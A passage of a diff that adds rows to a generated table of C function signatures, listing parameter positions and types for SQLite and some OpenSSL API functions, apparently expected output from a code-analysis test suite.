*,const char *,sqlite3 *,const char *) | | sqlite3_backup_init | 2 | sqlite3 * | +| (sqlite3 *,const char *,sqlite3 *,const char *) | | sqlite3_backup_init | 3 | const char * | +| (sqlite3 *,const char *,sqlite3_int64 *,unsigned int) | | sqlite3_serialize | 0 | sqlite3 * | +| (sqlite3 *,const char *,sqlite3_int64 *,unsigned int) | | sqlite3_serialize | 1 | const char * | +| (sqlite3 *,const char *,sqlite3_int64 *,unsigned int) | | sqlite3_serialize | 2 | sqlite3_int64 * | +| (sqlite3 *,const char *,sqlite3_int64 *,unsigned int) | | sqlite3_serialize | 3 | unsigned int | +| (sqlite3 *,const char *,sqlite3_intck **) | | sqlite3_intck_open | 0 | sqlite3 * | +| (sqlite3 *,const char *,sqlite3_intck **) | | sqlite3_intck_open | 1 | const char * | +| (sqlite3 *,const char *,sqlite3_intck **) | | sqlite3_intck_open | 2 | sqlite3_intck ** | +| (sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int) | | sqlite3_deserialize | 0 | sqlite3 * | +| (sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int) | | sqlite3_deserialize | 1 | const char * | +| (sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int) | | sqlite3_deserialize | 2 | unsigned char * | +| (sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int) | | sqlite3_deserialize | 3 | sqlite3_int64 | +| (sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int) | | sqlite3_deserialize | 4 | sqlite3_int64 | +| (sqlite3 *,const char *,unsigned char *,sqlite3_int64,sqlite3_int64,unsigned int) | | sqlite3_deserialize | 5 | unsigned int | +| (sqlite3 *,const char *,void *,..(*)(..)) | | sqlite3_set_clientdata | 0 | sqlite3 * | +| (sqlite3 *,const char *,void *,..(*)(..)) | | sqlite3_set_clientdata | 1 | const char * | +| (sqlite3 *,const char *,void *,..(*)(..)) | | sqlite3_set_clientdata | 2 | void * | +| (sqlite3 *,const char *,void *,..(*)(..)) | | sqlite3_set_clientdata | 3 | ..(*)(..) | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 0 | sqlite3 * | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 1 | const void * | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 2 | int | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 3 | int | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 4 | void * | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 5 | ..(*)(..) | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 6 | ..(*)(..) | +| (sqlite3 *,const void *,int,int,void *,..(*)(..),..(*)(..),..(*)(..)) | | sqlite3_create_function16 | 7 | ..(*)(..) | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16 | 0 | sqlite3 * | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16 | 1 | const void * | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16 | 2 | int | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16 | 3 | sqlite3_stmt ** | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16 | 4 | const void ** | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v2 | 0 | sqlite3 * | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v2 | 1 | const void * | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v2 | 2 | int | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v2 | 3 | sqlite3_stmt ** | +| (sqlite3 *,const void *,int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v2 | 4 | const void ** | +| (sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v3 | 0 | sqlite3 * | +| (sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v3 | 1 | const void * | +| (sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v3 | 2 | int | +| (sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v3 | 3 | unsigned int | +| (sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v3 | 4 | sqlite3_stmt ** | +| (sqlite3 *,const void *,int,unsigned int,sqlite3_stmt **,const void **) | | sqlite3_prepare16_v3 | 5 | const void ** | +| (sqlite3 *,const void *,int,void *,..(*)(..)) | | sqlite3_create_collation16 | 0 | sqlite3 * | +| (sqlite3 *,const void *,int,void *,..(*)(..)) | | sqlite3_create_collation16 | 1 | const void * | +| (sqlite3 *,const void *,int,void *,..(*)(..)) | | sqlite3_create_collation16 | 2 | int | +| (sqlite3 *,const void *,int,void *,..(*)(..)) | | sqlite3_create_collation16 | 3 | void * | +| (sqlite3 *,const void *,int,void *,..(*)(..)) | | sqlite3_create_collation16 | 4 | ..(*)(..) | +| (sqlite3 *,int) | | sqlite3_busy_timeout | 0 | sqlite3 * | +| (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | int | +| (sqlite3 *,int) | | sqlite3_db_name | 0 | sqlite3 * | +| (sqlite3 *,int) | | sqlite3_db_name | 1 | int | +| (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 0 | sqlite3 * | +| (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | int | +| (sqlite3 *,int,..(*)(..),void *) | | sqlite3_progress_handler | 0 | sqlite3 * | +| (sqlite3 *,int,..(*)(..),void *) | | sqlite3_progress_handler | 1 | int | +| (sqlite3 *,int,..(*)(..),void *) | | sqlite3_progress_handler | 2 | ..(*)(..) | +| (sqlite3 *,int,..(*)(..),void *) | | sqlite3_progress_handler | 3 | void * | +| (sqlite3 *,int,int *,int *,int) | | sqlite3_db_status | 0 | sqlite3 * | +| (sqlite3 *,int,int *,int *,int) | | sqlite3_db_status | 1 | int | +| (sqlite3 *,int,int *,int *,int) | | sqlite3_db_status | 2 | int * | +| (sqlite3 *,int,int *,int *,int) | | sqlite3_db_status | 3 | int * | +| (sqlite3 *,int,int *,int *,int) | | sqlite3_db_status | 4 | int | +| (sqlite3 *,int,int) | | sqlite3_limit | 0 | sqlite3 * | +| (sqlite3 *,int,int) | | sqlite3_limit | 1 | int | +| (sqlite3 *,int,int) | | sqlite3_limit | 2 | int | +| (sqlite3 *,sqlite3 *) | | registerUDFs | 0 | sqlite3 * | +| (sqlite3 *,sqlite3 *) | | registerUDFs | 1 | sqlite3 * | +| (sqlite3 *,sqlite3_int64) | | sqlite3_set_last_insert_rowid | 0 | sqlite3 * | +| (sqlite3 *,sqlite3_int64) | | sqlite3_set_last_insert_rowid | 1 | sqlite3_int64 | +| (sqlite3 *,sqlite3_stmt *) | | sqlite3_next_stmt | 0 | sqlite3 * | +| (sqlite3 *,sqlite3_stmt *) | | sqlite3_next_stmt | 1 | sqlite3_stmt * | +| (sqlite3 *,unsigned int,..(*)(..),void *) | | sqlite3_trace_v2 | 0 | sqlite3 * | +| (sqlite3 *,unsigned int,..(*)(..),void *) | | sqlite3_trace_v2 | 1 | unsigned int | +| (sqlite3 *,unsigned int,..(*)(..),void *) | | sqlite3_trace_v2 | 2 | ..(*)(..) | +| (sqlite3 *,unsigned int,..(*)(..),void *) | | sqlite3_trace_v2 | 3 | void * | +| (sqlite3 *,void *,..(*)(..)) | | sqlite3_collation_needed | 0 | sqlite3 * | +| (sqlite3 *,void *,..(*)(..)) | | sqlite3_collation_needed | 1 | void * | +| (sqlite3 *,void *,..(*)(..)) | | sqlite3_collation_needed | 2 | ..(*)(..) | +| (sqlite3 *,void *,..(*)(..)) | | sqlite3_collation_needed16 | 0 | sqlite3 * | +| (sqlite3 *,void *,..(*)(..)) | | sqlite3_collation_needed16 | 1 | void * | +| (sqlite3 *,void *,..(*)(..)) | | sqlite3_collation_needed16 | 2 | ..(*)(..) | +| (sqlite3_backup *) | | sqlite3_backup_finish | 0 | sqlite3_backup * | +| (sqlite3_backup *) | | sqlite3_backup_pagecount | 0 | sqlite3_backup * | +| (sqlite3_backup *) | | sqlite3_backup_remaining | 0 | sqlite3_backup * | +| (sqlite3_backup *,int) | | sqlite3_backup_step | 0 | sqlite3_backup * | +| (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | int | +| (sqlite3_blob *) | | sqlite3_blob_bytes | 0 | sqlite3_blob * | +| (sqlite3_blob *) | | sqlite3_blob_close | 0 | sqlite3_blob * | +| (sqlite3_blob *,const void *,int,int) | | sqlite3_blob_write | 0 | sqlite3_blob * | +| (sqlite3_blob *,const void *,int,int) | | sqlite3_blob_write | 1 | const void * | +| (sqlite3_blob *,const void *,int,int) | | sqlite3_blob_write | 2 | int | +| (sqlite3_blob *,const void *,int,int) | | sqlite3_blob_write | 3 | int | +| (sqlite3_blob *,sqlite3_int64) | | sqlite3_blob_reopen | 0 | sqlite3_blob * | +| (sqlite3_blob *,sqlite3_int64) | | sqlite3_blob_reopen | 1 | sqlite3_int64 | +| (sqlite3_blob *,void *,int,int) | | sqlite3_blob_read | 0 | sqlite3_blob * | +| (sqlite3_blob *,void *,int,int) | | sqlite3_blob_read | 1 | void * | +| (sqlite3_blob *,void *,int,int) | | sqlite3_blob_read | 2 | int | +| (sqlite3_blob *,void *,int,int) | | sqlite3_blob_read | 3 | int | +| (sqlite3_context *) | | sqlite3_aggregate_count | 0 | sqlite3_context * | +| (sqlite3_context *) | | sqlite3_context_db_handle | 0 | sqlite3_context * | +| (sqlite3_context *) | | sqlite3_user_data | 0 | sqlite3_context * | +| (sqlite3_context *,const char *,int) | | sqlite3_result_error | 0 | sqlite3_context * | +| (sqlite3_context *,const char *,int) | | sqlite3_result_error | 1 | const char * | +| (sqlite3_context *,const char *,int) | | sqlite3_result_error | 2 | int | +| (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 0 | sqlite3_context * | +| (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 1 | const void * | +| (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 2 | int | +| (sqlite3_context *,int) | | sqlite3_aggregate_context | 0 | sqlite3_context * | +| (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | int | +| (sqlite3_context *,int) | | sqlite3_result_error_code | 0 | sqlite3_context * | +| (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | int | +| (sqlite3_index_info *) | | sqlite3_vtab_distinct | 0 | sqlite3_index_info * | +| (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 0 | sqlite3_index_info * | +| (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | int | +| (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 0 | sqlite3_index_info * | +| (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 1 | int | +| (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 2 | int | +| (sqlite3_index_info *,int,sqlite3_value **) | | sqlite3_vtab_rhs_value | 0 | sqlite3_index_info * | +| (sqlite3_index_info *,int,sqlite3_value **) | | sqlite3_vtab_rhs_value | 1 | int | +| (sqlite3_index_info *,int,sqlite3_value **) | | sqlite3_vtab_rhs_value | 2 | sqlite3_value ** | +| (sqlite3_intck *) | | sqlite3_intck_message | 0 | sqlite3_intck * | +| (sqlite3_intck *) | | sqlite3_intck_step | 0 | sqlite3_intck * | +| (sqlite3_intck *) | | sqlite3_intck_unlock | 0 | sqlite3_intck * | +| (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 0 | sqlite3_intck * | +| (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | const char * | +| (sqlite3_intck *,const char **) | | sqlite3_intck_error | 0 | sqlite3_intck * | +| (sqlite3_intck *,const char **) | | sqlite3_intck_error | 1 | const char ** | +| (sqlite3_recover *) | | sqlite3_recover_errcode | 0 | sqlite3_recover * | +| (sqlite3_recover *) | | sqlite3_recover_errmsg | 0 | sqlite3_recover * | +| (sqlite3_recover *) | | sqlite3_recover_finish | 0 | sqlite3_recover * | +| (sqlite3_recover *) | | sqlite3_recover_run | 0 | sqlite3_recover * | +| (sqlite3_recover *) | | sqlite3_recover_step | 0 | sqlite3_recover * | +| (sqlite3_recover *,int,void *) | | sqlite3_recover_config | 0 | sqlite3_recover * | +| (sqlite3_recover *,int,void *) | | sqlite3_recover_config | 1 | int | +| (sqlite3_recover *,int,void *) | | sqlite3_recover_config | 2 | void * | +| (sqlite3_stmt *) | | sqlite3_bind_parameter_count | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_column_count | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_data_count | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_db_handle | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_expanded_sql | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_finalize | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_reset | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_sql | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_step | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_stmt_isexplain | 0 | sqlite3_stmt * | +| (sqlite3_stmt *) | | sqlite3_stmt_readonly | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | const char * | +| (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_blob | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_bytes | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_decltype | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_double | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_int | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_int64 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_name | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_name16 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_text | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_text16 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_type | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_column_value | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | int | +| (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | int | +| (sqlite3_stmt *,int,const char *,int,..(*)(..)) | | sqlite3_bind_text | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,const char *,int,..(*)(..)) | | sqlite3_bind_text | 1 | int | +| (sqlite3_stmt *,int,const char *,int,..(*)(..)) | | sqlite3_bind_text | 2 | const char * | +| (sqlite3_stmt *,int,const char *,int,..(*)(..)) | | sqlite3_bind_text | 3 | int | +| (sqlite3_stmt *,int,const char *,int,..(*)(..)) | | sqlite3_bind_text | 4 | ..(*)(..) | +| (sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char) | | sqlite3_bind_text64 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char) | | sqlite3_bind_text64 | 1 | int | +| (sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char) | | sqlite3_bind_text64 | 2 | const char * | +| (sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char) | | sqlite3_bind_text64 | 3 | sqlite3_uint64 | +| (sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char) | | sqlite3_bind_text64 | 4 | ..(*)(..) | +| (sqlite3_stmt *,int,const char *,sqlite3_uint64,..(*)(..),unsigned char) | | sqlite3_bind_text64 | 5 | unsigned char | +| (sqlite3_stmt *,int,const sqlite3_value *) | | sqlite3_bind_value | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,const sqlite3_value *) | | sqlite3_bind_value | 1 | int | +| (sqlite3_stmt *,int,const sqlite3_value *) | | sqlite3_bind_value | 2 | const sqlite3_value * | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_blob | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_blob | 1 | int | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_blob | 2 | const void * | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_blob | 3 | int | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_blob | 4 | ..(*)(..) | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_text16 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_text16 | 1 | int | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_text16 | 2 | const void * | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_text16 | 3 | int | +| (sqlite3_stmt *,int,const void *,int,..(*)(..)) | | sqlite3_bind_text16 | 4 | ..(*)(..) | +| (sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..)) | | sqlite3_bind_blob64 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..)) | | sqlite3_bind_blob64 | 1 | int | +| (sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..)) | | sqlite3_bind_blob64 | 2 | const void * | +| (sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..)) | | sqlite3_bind_blob64 | 3 | sqlite3_uint64 | +| (sqlite3_stmt *,int,const void *,sqlite3_uint64,..(*)(..)) | | sqlite3_bind_blob64 | 4 | ..(*)(..) | +| (sqlite3_stmt *,int,double) | | sqlite3_bind_double | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,double) | | sqlite3_bind_double | 1 | int | +| (sqlite3_stmt *,int,double) | | sqlite3_bind_double | 2 | double | +| (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 1 | int | +| (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 2 | int | +| (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 1 | int | +| (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 2 | int | +| (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 1 | int | +| (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 2 | int | +| (sqlite3_stmt *,int,sqlite3_int64,sqlite_int64) | | sqlite3_bind_int64 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,sqlite3_int64,sqlite_int64) | | sqlite3_bind_int64 | 1 | int | +| (sqlite3_stmt *,int,sqlite3_int64,sqlite_int64) | | sqlite3_bind_int64 | 2 | sqlite3_int64 | +| (sqlite3_stmt *,int,sqlite3_int64,sqlite_int64) | | sqlite3_bind_int64 | 3 | sqlite_int64 | +| (sqlite3_stmt *,int,sqlite3_uint64) | | sqlite3_bind_zeroblob64 | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,sqlite3_uint64) | | sqlite3_bind_zeroblob64 | 1 | int | +| (sqlite3_stmt *,int,sqlite3_uint64) | | sqlite3_bind_zeroblob64 | 2 | sqlite3_uint64 | +| (sqlite3_stmt *,int,void *,const char *,..(*)(..)) | | sqlite3_bind_pointer | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,int,void *,const char *,..(*)(..)) | | sqlite3_bind_pointer | 1 | int | +| (sqlite3_stmt *,int,void *,const char *,..(*)(..)) | | sqlite3_bind_pointer | 2 | void * | +| (sqlite3_stmt *,int,void *,const char *,..(*)(..)) | | sqlite3_bind_pointer | 3 | const char * | +| (sqlite3_stmt *,int,void *,const char *,..(*)(..)) | | sqlite3_bind_pointer | 4 | ..(*)(..) | +| (sqlite3_stmt *,sqlite3_stmt *) | | sqlite3_transfer_bindings | 0 | sqlite3_stmt * | +| (sqlite3_stmt *,sqlite3_stmt *) | | sqlite3_transfer_bindings | 1 | sqlite3_stmt * | +| (sqlite3_str *) | | sqlite3_str_errcode | 0 | sqlite3_str * | +| (sqlite3_str *) | | sqlite3_str_finish | 0 | sqlite3_str * | +| (sqlite3_str *) | | sqlite3_str_length | 0 | sqlite3_str * | +| (sqlite3_str *) | | sqlite3_str_value | 0 | sqlite3_str * | +| (sqlite3_str *,const char *) | | sqlite3_str_appendall | 0 | sqlite3_str * | +| (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | const char * | +| (sqlite3_str *,const char *,int) | | sqlite3_str_append | 0 | sqlite3_str * | +| (sqlite3_str *,const char *,int) | | sqlite3_str_append | 1 | const char * | +| (sqlite3_str *,const char *,int) | | sqlite3_str_append | 2 | int | +| (sqlite3_str *,const char *,va_list) | | sqlite3_str_vappendf | 0 | sqlite3_str * | +| (sqlite3_str *,const char *,va_list) | | sqlite3_str_vappendf | 1 | const char * | +| (sqlite3_str *,const char *,va_list) | | sqlite3_str_vappendf | 2 | va_list | +| (sqlite3_str *,int,char) | | sqlite3_str_appendchar | 0 | sqlite3_str * | +| (sqlite3_str *,int,char) | | sqlite3_str_appendchar | 1 | int | +| (sqlite3_str *,int,char) | | sqlite3_str_appendchar | 2 | char | +| (sqlite3_value *) | | sqlite3_value_blob | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_bytes | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_bytes16 | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_double | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_encoding | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_frombind | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_int | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_int64 | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_numeric_type | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_subtype | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_text | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_text16 | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_text16be | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_text16le | 0 | sqlite3_value * | +| (sqlite3_value *) | | sqlite3_value_type | 0 | sqlite3_value * | +| (sqlite3_value *,const char *) | | sqlite3_value_pointer | 0 | sqlite3_value * | +| (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | const char * | +| (sqlite3_value *,sqlite3_value **) | | sqlite3_vtab_in_first | 0 | sqlite3_value * | +| (sqlite3_value *,sqlite3_value **) | | sqlite3_vtab_in_first | 1 | sqlite3_value ** | +| (sqlite3_value *,sqlite3_value **) | | sqlite3_vtab_in_next | 0 | sqlite3_value * | +| (sqlite3_value *,sqlite3_value **) | | sqlite3_vtab_in_next | 1 | sqlite3_value ** | +| (sqlite3expert *) | | sqlite3_expert_count | 0 | sqlite3expert * | +| (sqlite3expert *,char **) | | sqlite3_expert_analyze | 0 | sqlite3expert * | +| (sqlite3expert *,char **) | | sqlite3_expert_analyze | 1 | char ** | +| (sqlite3expert *,const char *,char **) | | sqlite3_expert_sql | 0 | sqlite3expert * | +| (sqlite3expert *,const char *,char **) | | sqlite3_expert_sql | 1 | const char * | +| (sqlite3expert *,const char *,char **) | | sqlite3_expert_sql | 2 | char ** | +| (sqlite3expert *,int,int) | | sqlite3_expert_report | 0 | sqlite3expert * | +| (sqlite3expert *,int,int) | | sqlite3_expert_report | 1 | int | +| (sqlite3expert *,int,int) | | sqlite3_expert_report | 2 | int | +| (stack_st_ASN1_UTF8STRING *) | | OSSL_CMP_ITAV_new0_certProfile | 0 | stack_st_ASN1_UTF8STRING * | +| (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 0 | stack_st_ASN1_UTF8STRING * | +| (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 1 | const char * | +| (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 2 | int | +| (stack_st_OPENSSL_STRING *,const OSSL_PARAM *) | | app_params_new_from_opts | 0 | stack_st_OPENSSL_STRING * | +| (stack_st_OPENSSL_STRING *,const OSSL_PARAM *) | | app_params_new_from_opts | 1 | const OSSL_PARAM * | +| (stack_st_OSSL_CMP_CRLSTATUS *) | | OSSL_CMP_ITAV_new0_crlStatusList | 0 | stack_st_OSSL_CMP_CRLSTATUS * | +| (stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *) | | OSSL_CMP_ITAV_push0_stack_item | 0 | stack_st_OSSL_CMP_ITAV ** | +| (stack_st_OSSL_CMP_ITAV **,OSSL_CMP_ITAV *) | | OSSL_CMP_ITAV_push0_stack_item | 1 | OSSL_CMP_ITAV * | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *) | | PKCS12_add_safe | 0 | stack_st_PKCS7 ** | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *) | | PKCS12_add_safe | 1 | stack_st_PKCS12_SAFEBAG * | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *) | | PKCS12_add_safe | 2 | int | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *) | | PKCS12_add_safe | 3 | int | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *) | | PKCS12_add_safe | 4 | const char * | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 0 | stack_st_PKCS7 ** | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 1 | stack_st_PKCS12_SAFEBAG * | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 2 | int | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 3 | int | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 4 | const char * | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 5 | OSSL_LIB_CTX * | +| (stack_st_PKCS7 **,stack_st_PKCS12_SAFEBAG *,int,int,const char *,OSSL_LIB_CTX *,const char *) | | PKCS12_add_safe_ex | 6 | const char * | +| (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 0 | stack_st_PKCS7 * | +| (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | 